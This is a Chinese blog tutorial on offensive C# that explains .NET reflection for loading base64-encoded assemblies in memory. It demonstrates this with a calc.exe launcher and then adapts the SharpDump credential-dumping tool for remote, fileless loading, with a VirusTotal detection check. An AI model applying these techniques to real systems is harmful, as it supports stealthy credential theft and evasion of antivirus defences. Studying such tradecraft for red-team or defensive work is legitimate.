OffenSive Csharp Development Part3

  • A+
所属分类:安全开发

本文是OffenSive Csharp Development 系列的第三篇文章,着重讲解Csharp的Reflection(反射)的使用。

反射是什么?这里引用百度百科对其的解释:反射指程序可以访问、检测和修改它本身状态或行为的一种能力。


关于它的基础使用和api调用可以参考MSDN文档:https://docs.microsoft.com/en-us/dotnet/api/system.reflection?view=netframework-4.5,这里不再赘述。其加载方式主要分为下面三种:


1、Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘。

2、Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。

例如:

Assembly.LoadFrom("a.dll"),如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll。

3、Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。

例如:

Assembly.LoadFile("a.dll"),如果a.dll中引用了b.dll,那么不会加载b.dll。


反射使用


这里以一个小demo来讲解反射的具体用法。

代码如下:

using System;using System.Reflection;
namespace Basic3{
class Program { public static void Main() { string base64str = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAFxbrV0AAAAAAAAAAOAAAgELAQsAAAYAAAAIAAAAAAAAfiQAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACQkAABXAAAAAEAAAOAEAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAIA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="; byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
Type type = assembly.GetType("TestApplication.aaa");
MethodInfo method = type.GetMethod("bbb");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, null);
} }}


这里采用的是反射加载base64的方式,base64还原后是


using System;
namespace TestApplication
{public class Program
{ public static void Main()
{ Console.WriteLine("Main");
}
}
public class aaa
{ public static void bbb()
{ System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\windows\system32\calc.exe";
p.Start();
}
}
}


所以一个基本的反射流程如下:


Assembly.Load获取主文件-->GetType获取命名空间及类-->GetMethod获取方法-->CreateInstance获取信息-->Invoke调用

最后成功弹出calc


OffenSive Csharp Development Part3


实操

下面将展示使用反射来加载https://github.com/GhostPack/SharpDump的方法。因为其main函数的问题,我们为其加上一个方法,来方便我们调用,代码如下:

public static void RunMain(){    string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");    string dumpDir = String.Format("C:\Windows\Temp\", systemRoot);    if (!Directory.Exists(dumpDir))    {        Console.WriteLine(String.Format("n[X] Dump directory "{0}" doesn't exist!n", dumpDir));        return;    }
Minidump();}


然后我们这里选择远程加载+base64的方法。先对程序进行编码:


OffenSive Csharp Development Part3


然后编写加载程序。代码已传至github:https://github.com/lengjibo/OffenSiveCSharp/tree/master/ReflectionB64


代码欢迎star、fork、issues。


效果如下:

OffenSive Csharp Development Part3


VT查杀:


OffenSive Csharp Development Part3


参考文章:

https://blog.csdn.net/weixin_31440583/article/details/112339503


本文始发于微信公众号(鸿鹄实验室):OffenSive Csharp Development Part3

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: